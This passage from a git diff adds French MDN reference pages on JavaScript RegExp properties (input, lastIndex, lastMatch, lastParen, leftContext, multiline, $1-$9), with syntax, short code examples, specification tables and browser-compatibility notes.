+<h3 id="Extraire_un_sous-domaine_d'une_URL">Extraire un sous-domaine d'une URL</h3>
+
+<pre class="brush: js">var url = 'http://xxx.domaine.com';
+console.log(/[^.]+/.exec(url)[0].substr(7)); // affiche 'xxx'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10', 'RegExp')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>
+    <p>Le constructeur <code>RegExp</code> ne renvoie plus d'exception lorsqu'il est utilisé avec un objet <code>RegExp</code> et que le second argument est utilisé. Ajout du marqueur d'adhérence et du marqueur Unicode.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp-regular-expression-objects', 'RegExp')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp")}}</p>
+
+<h3 id="Notes_spécifiques_à_Firefox">Notes spécifiques à Firefox</h3>
+
+<p>À partir de Firefox 34, dans le cas où on utilise un groupe capturant avec des quantificateurs qui l'invalident, le texte correspondant au groupe est désormais <code>undefined</code> et non la chaîne vide :</p>
+
+<pre class="brush: js">// Firefox 33 ou antérieur
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'group:" + group + "'");
+}); // 'group:'
+
+// Firefox 34 ou supérieur
+'x'.replace(/x(.)?/g, function(m, group) {
+  console.log("'group:" + group + "'");
+}); // 'group:undefined'
+</pre>
+
+<p>Pour des raisons de compatibilité web, <code>RegExp.$N</code> renverra une chaîne vide au lieu de <code>undefined</code> ({{bug(1053944)}}).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">Le chapitre Expressions rationnelles</a> du <a href="/fr/docs/Web/JavaScript/Guide">Guide JavaScript</a></li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/input/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/input/index.html
new file mode 100644
index 0000000000..14a14258a9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/input/index.html
@@ -0,0 +1,59 @@
+---
+title: RegExp.input ($_)
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/input
+tags:
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/input
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété non-standard <strong><code>input</code></strong> est une propriété statique de l'expression rationnelle qui contient la chaîne de caractères sur laquelle est effectuée la recherche de correspondances. <code>RegExp.$_</code> est un alias de cette propriété.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>RegExp</var>.input
+RegExp.$_
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>input</code> est statique. Ce n'est pas la propriété d'une instance d'expression rationnelle. Cette propriété doit toujours être utilisée avec la syntaxe <code>RegExp.input</code> ou <code>RegExp.$_.</code></p>
+
+<p>La valeur de la propriété <code><strong>input</strong></code> est modifiée à chaque fois que la chaîne sur laquelle on recherche est modifiée et qu'il y a une correspondance.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_input_et__">Utiliser <code>input</code> et <code>$_</code></h3>
+
+<pre class="brush: js">var re = /coucou/g;
+re.test("coucou toi !");
+RegExp.input;         // "coucou toi !"
+re.test("toto");      // nouveau test, pas de correspondance
+RegExp.$_;            // "coucou toi !"
+re.test("coucou monde !"); // nouveau test avec correspondance
+RegExp.$_;            // "coucou monde !"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.input")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/lastindex/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/lastindex/index.html
new file mode 100644
index 0000000000..21c024c57a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/lastindex/index.html
@@ -0,0 +1,104 @@
+---
+title: regExp.lastIndex
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastIndex
+tags:
+  - JavaScript
+  - Propriété
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>lastIndex</strong></code> est un entier en lecture/écriture qui permet de définir l'indice (position) à partir duquel chercher la prochaine correspondance pour une instance d'expression rationnelle donnée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-lastindex.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(1,0,0)}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>regExpObj</var>.lastIndex
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette propriété n'est définie que si l'instance d'expression rationnelle utilise le marqueur (<em>flag</em>) <code>"g"</code> pour effectuer une recherche globale ou le marqueur <code>"y"</code> afin d'effectuer une recherche adhérente. Les règles suivantes s'appliquent :</p>
+
+<ul>
+ <li>Si <code>lastIndex</code> est supérieur à la longueur de la chaîne de caractères, <code>regexp.test</code> et <code>regexp.exec</code> échoueront et <code>lastIndex</code> sera redéfini à 0.</li>
+ <li>Si <code>lastIndex</code> est égal à la longueur de la chaîne de caractères et si l'expression rationnelle correspond avec la chaîne vide, il y aura une correspondance à partir de <code>lastIndex</code>.</li>
+ <li>Si <code>lastIndex</code> est égal à la longueur de la chaîne de caractères et que l'expression rationnelle ne peut correspondre à la chaîne vide, on n'aura pas de correspondance et <code>lastIndex</code> sera réinitialisé à 0.</li>
+ <li>Sinon, <code>lastIndex</code> sera défini à la position suivant la correspondance la plus récente.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Si on a la séquence d'instructions suivante :</p>
+
+<pre class="brush: js">var re = /(hi)?/g;
+</pre>
+
+<p>Correspond à la chaîne vide.</p>
+
+<pre class="brush: js">console.log(re.exec('hi'));
+console.log(re.lastIndex);
+</pre>
+
+<p>Renvoie <code>["hi", "hi"]</code> avec <code>lastIndex</code> égal à 2.</p>
+
+<pre class="brush: js">console.log(re.exec('hi'));
+console.log(re.lastIndex);
+</pre>
+
+<p>Renvoie <code>["", undefined]</code>, un tableau dont le premier élément est la chaîne vide car <code>lastIndex</code> valait 2 (et vaut toujours 2) et <code>"hi"</code> était de longueur 2.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. JavaScript 1.5 : <code>lastIndex</code> est une propriété d'une instance de <code>RegExp</code> et n'est pas une propriété directe de <code>RegExp</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.5', 'RegExp.lastIndex')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-regexp-instances', 'RegExp.lastIndex')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.lastIndex")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/lastmatch/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/lastmatch/index.html
new file mode 100644
index 0000000000..08669d885b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/lastmatch/index.html
@@ -0,0 +1,58 @@
+---
+title: RegExp.lastMatch ($&)
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastMatch
+tags:
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastMatch
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété non-standard <strong><code>lastMatch</code> </strong>est une propriété statique en lecture seule pour les expressions rationnelles qui contient les caractères de la dernière correspondance. <code>RegExp.$&amp;</code> est un alias pour cette propriété.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>RegExp</var>.lastMatch
+RegExp['$&amp;']
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>lastMatch</code> est une propriété statique, ce n'est pas une propriété pour chaque objet qui représente une expression rationnelle. Cette propriété doit donc toujours être utilisée avec la syntaxe <code>RegExp.lastMatch</code> ou <code>RegExp['$&amp;'].</code></p>
+
+<p>La valeur de la propriété <code>lastMatch</code> n'est accessible qu'en lecture seule et est modifiée à chaque fois qu'une correspondance est trouvée.</p>
+
+<p>Il n'est pas possible d'utiliser l'alias avec la notation utilisant le point pour accéder à la propriété (<code>RegExp.$&amp;</code>) car le parseur attend une expression avec "&amp;" dans ce cas, ce qui provoque une exception {{jsxref("SyntaxError")}}. Pour utiliser l'alias, on prendra donc la notation <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres#Notation_avec_crochets">utilisant les crochets</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_lastMatch_et">Utiliser <code>lastMatch</code> et <code>$&amp;</code></h3>
+
+<pre class="brush: js">var re = /coucou/g;
+re.test("coucou toi!");
+RegExp.lastMatch; // "coucou"
+RegExp['$&amp;'];     // "coucou"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.lastMatch")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/lastparen/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/lastparen/index.html
new file mode 100644
index 0000000000..da607ed4bc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/lastparen/index.html
@@ -0,0 +1,57 @@
+---
+title: RegExp.lastParen ($+)
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/lastParen
+tags:
+  - JavaScript
+  - Propriété
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/lastParen
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété <code><strong>lastParen</strong></code> est une propriété statique accessible en lecture seule qui contient la dernière correspondance enregistrée dans un groupe (entre parenthèse) si jamais elle existe. <code>RegExp.$+</code> est un alias pour cette propriété.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>RegExp</var>.lastParen
+RegExp['$+']
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>lastParen</code> est une propriété statique, ce n'est pas une propriété liée à chaque objet. Il faut donc toujours utiliser la syntaxe <code>RegExp.lastParen</code> ou <code>RegExp['$+'].</code></p>
+
+<p>La valeur de la propriété <code>lastParen</code> n'est accessible qu'en lecture seule et est modifiée automatiquement à chaque fois qu'il y a une correspondance.</p>
+
+<p>Cet alias ne peut pas être utilisé avec la notation utilisant le point pour l'accès aux propriétés (<code>RegExp.$+</code>). En effet, le parseur attend une expression avec "+", dans ce cas, une exception {{jsxref("SyntaxError")}} est levée. Pour utiliser cette notation raccourcie, on utilisera <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres#Notation_avec_crochets">la notation avec les crochets</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_lastParen_et">Utiliser <code>lastParen</code> et <code>$+</code></h3>
+
+<pre class="brush: js">var re = /(coucou)/g;
+re.test("coucou toi !");
+RegExp.lastParen; // "coucou"
+RegExp['$+'];     // "coucou"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas standard. Elle ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.lastParen")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/leftcontext/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/leftcontext/index.html
new file mode 100644
index 0000000000..e886719276
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/leftcontext/index.html
@@ -0,0 +1,56 @@
+---
+title: RegExp.leftContext ($`)
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/leftContext
+tags:
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/leftContext
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété non-standard <code><strong>leftContext</strong></code> est une propriété statique accessible uniquement en lecture. Cette propriété liée aux expressions rationnelles contient la sous-chaîne qui précède la correspondance la plus récente. <code>RegExp.$`</code> est un alias pour cette propriété.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>RegExp</var>.leftContext
+RegExp['$`']
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>La propriété <code>leftContext</code> est une propriété statique, elle n'est donc pas distincte entre les différents objets représentants les expressions rationnelles. Il faut donc toujours utiliser la syntaxe <code>RegExp.leftContext</code> ou <code>RegExp['$`'].</code></p>
+
+<p>La valeur de la propriété <code>leftContext</code> n'est accessible uniquement qu'en lecture. Elle est modifiée par le moteur à chaque fois qu'une nouvelle correspondance est trouvée.</p>
+
+<p>L'alias ne peut pas être utilisé avec la notation utilisant le point (<code>RegExp.$`</code>). En effet, le parseur attend un gabarit de chaîne à la suite de l'accent grave. Si on utilise le point, on aura donc une exception {{jsxref("SyntaxError")}}. Pour cet alias, on utilisera <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_membres#Notation_avec_crochets">la notation à base de crochets</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var re = /monde/g;
+re.test("coucou monde !");
+RegExp.leftContext; // "coucou "
+RegExp['$`'];       // "coucou "
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété n'est pas standard et ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.leftContext")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.n", "RegExp.$1-$9")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/multiline/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/multiline/index.html
new file mode 100644
index 0000000000..4e73d4e5a5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/multiline/index.html
@@ -0,0 +1,87 @@
+---
+title: RegExp.prototype.multiline
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/multiline
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/multiline
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>multiline</strong></code> indique si le drapeau (<em>flag</em>) "<code>m</code>" a été utilisé ou non pour l'expression rationnelle. <code>multiline</code> est une propriété liée à l'instance, accessible en lecture seule.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-multiline.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur de <code>multiline</code> est un booléen. Elle vaut <code>true</code> si le drapeau "<code>m</code>" a été utilisé et <code>false</code> sinon. Le flag "<code>m</code>" indique qu'une chaine de caractères qui s'étend sur plusieurs lignes doit être traitée comme une série de ligne. Ainsi, si "<code>m</code>" est utilisé, "<code>^</code>" et "<code>$</code>" ne correspondent plus au début et à la fin de la chaîne mais aux débuts et aux fins de chaque ligne de la chaîne.</p>
+
+<p>Cette propriété ne peut pas être modifiée directement.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">var regex = new RegExp("toto", "m");
+
+console.log(regex.multiline); // true
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2. Avec JavaScript 1.5 : <code>multiline</code> est une propriété liée à l'instance de {{jsxref("RegExp")}} et non à l'objet <code>RegExp</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.10.7.4', 'RegExp.prototype.multiline')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><code>multiline</code> est désormais un propriété du prototype sous forme d'accesseur plutôt qu'une propriété directement liée à l'instance.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-regexp.prototype.multiline', 'RegExp.prototype.multiline')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.multiline")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<ul>
+ <li>Avant Firefox 48 , une propriété globale non-standard <code>RegExp.multiline</code> existait en plus de la propriété <code>RegExp.prototype.multiline</code>. Elle a été retirée dans les nouvelles versions du moteur (cf. {{bug(1219757)}}). On utilisera la propriété décrite sur cette page ou le <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières#Effectuer_des_recherches_avancées_en_utilisant_les_drapeaux_(flags)">marqueur <code>m</code></a> à la place.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/n/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/n/index.html
new file mode 100644
index 0000000000..ecbda5eac8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/n/index.html
@@ -0,0 +1,68 @@
+---
+title: RegExp.$1-$9
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/n
+tags:
+  - JavaScript
+  - Non-standard
+  - Propriété
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/n
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>Les propriétés non-standard <strong>$1, $2, $3, $4, $5, $6, $7, $8, $9</strong> sont des propriétés statiques accessibles en lecture qui contiennent les différents groupes capturés par une expression rationnelle.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>RegExp</var>.$1
+RegExp.$2
+RegExp.$3
+RegExp.$4
+RegExp.$5
+RegExp.$6
+RegExp.$7
+RegExp.$8
+RegExp.$9
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Les propriétés $1, ..., $9 sont des propriétés statiques. Ce ne sont pas des propriétés rattachées à une expression rationnelle donnée. Pour cette raison, on utilisera toujours la syntaxe <code>RegExp.$1</code>, ..., <code>RegExp.$9</code>.</p>
+
+<p>Les valeurs de ces propriétés ne sont accessibles qu'en lecture et sont modifiées par le moteur à chaque fois qu'une nouvelle correspondance est trouvée.</p>
+
+<p>Le nombre de groupe d'une expression rationnelle n'est pas limité. Cependant, l'objet <code>RegExp</code> ne contient que les neufs premiers groupes. Pour accéder à chacun des groupes liés à une expression rationnelle donnée, on pourra utiliser les indices du tableau relevant les correspondances.</p>
+
+<p>Ces propriétés peuvent être utilisées pour le texte de remplacement de la méthode {{jsxref("String.replace")}}. Avec cette méthode, on ne préfixera pas les valeurs par <code>RegExp</code> (voir l'exemple ci-après), lorsque les parenthèses groupantes ne sont pas utilisées dans l'expression, <code>$n</code> sera interprété littérallement (avec <code>n</code> un entier positif).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans le script qui suit, on utilise {{jsxref("String.prototype.replace()", "replace()")}} d'une instance de {{jsxref("String")}} pour inverser le premier mot et le dernier et placer une virgule entre. Le script utilise <code>$1</code> et <code>$2</code> pour faire référence aux groupes de l'expression rationnelle :</p>
+
+<pre class="brush: js">var re = /(\w+)\s(\w+)/;
+var str = 'Jean Biche';
+str.replace(re, '$2, $1'); // "Biche, Jean"
+RegExp.$1; // "Jean"
+RegExp.$2; // "Biche"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ces propriétés ne sont pas standard, elles ne font partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.n")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.input", "RegExp.input ($_)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastMatch", "RegExp.lastMatch ($&amp;)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.lastParen", "RegExp.lastParen ($+)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.leftContext", "RegExp.leftContext ($`)")}}</li>
+ <li>{{non-standard_inline}} {{jsxref("RegExp.rightContext", "RegExp.rightContext ($')")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/regexp/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/regexp/prototype/index.html
new file mode 100644
index 0000000000..aeeae28dda
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/regexp/prototype/index.html
@@ -0,0 +1,118 @@
+---
+title: RegExp.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/RegExp/prototype
+tags:
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+  - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>RegExp.prototype</strong></code> représente l'objet prototype pour le constructeur {{jsxref("RegExp")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
